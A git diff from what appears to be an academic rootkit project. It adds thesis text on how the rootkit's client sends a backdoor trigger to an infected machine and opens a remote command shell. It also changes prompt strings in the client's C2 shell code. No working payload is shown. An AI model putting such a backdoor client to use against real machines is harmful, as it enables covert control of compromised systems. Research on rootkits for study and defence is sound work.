diff --git a/docs/chapters/chapter4.tex b/docs/chapters/chapter4.tex index fed167b..2d4a1c0 100644 --- a/docs/chapters/chapter4.tex +++ b/docs/chapters/chapter4.tex @@ -1067,8 +1067,12 @@ The rootkit client is compiled to a single executable named \textit{injector}. T \label{fig:client_help} \end{figure} +As we can observe in the figure, the rootkit client enables to execute the C2 actions we have described in section \ref{subsection:c2}. Upon running any of these options, the client will first request the network interface to use. This enables the attacker to choose the specific network to which it can connect to the infected machine. After choosing an interface, the rootkit client crafts the respective backdoor trigger and sends it to the infected machine (we have also included an additional non-C2 PoC showing how the rootkit modifies incoming packets). Every option requires to specify the infected machine location by indicating its IP address. -The rootkit client needs to be executed as root, since the library RawTCP_Lib it uses requires privileges for some of its functionalities. +After sending a backdoor trigger, the client will enter a listening state, waiting for the backdoor response. Once a response is received confirmating that the remote machine is up and with the rootkit running, the client proceeds to show the user a shell prompt where it can enter commands. + + +The rootkit client needs to be executed as root, since the library RawTCP\_Lib it uses requires privileges for some of its functionalities. diff --git a/docs/images/sch_client_help.png b/docs/images/sch_client_help.png index 6326fed..8d46312 100644 Binary files a/docs/images/sch_client_help.png and b/docs/images/sch_client_help.png differ diff --git a/src/client/client.c b/src/client/client.c index 1c9f2ea..469c4b3 100644 --- a/src/client/client.c +++ b/src/client/client.c @@ -338,7 +338,7 @@ void activate_command_control_shell(char* argv){ //Received ACK, we proceed to send command while(1){ char buf[BUFSIZ]; - printf(""KYLW"c>:"RESET""); + printf(">> client["""KRED"plaintext shell"RESET"""]>: "); fgets(buf, BUFSIZ, stdin); if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ buf[strlen(buf)-1] = '\0'; diff --git a/src/client/client.o b/src/client/client.o index 7d8a151..2a9507c 100644 Binary files a/src/client/client.o and b/src/client/client.o differ diff --git a/src/client/include/sslserver.h b/src/client/include/sslserver.h index 6b593c7..21ce134 100644 --- a/src/client/include/sslserver.h +++ b/src/client/include/sslserver.h @@ -184,7 +184,7 @@ int server_run(int port) { //Depending on the mode, we show different UI and commands switch(client_mode){ case CLIENT_MODE_LIVE_COMMAND: - printf(">> client["""KYLW"command live"RESET"""]>: "); + printf(">> client["""KYLW"encrypted shell"RESET"""]>: "); fgets(buf, BUFSIZ, stdin); if ((strlen(buf)>0) && (buf[strlen(buf)-1] == '\n')){ buf[strlen(buf)-1] = '\0'; diff --git a/src/client/injector b/src/client/injector index 7394127..9b1f8f2 100755 Binary files a/src/client/injector and b/src/client/injector differ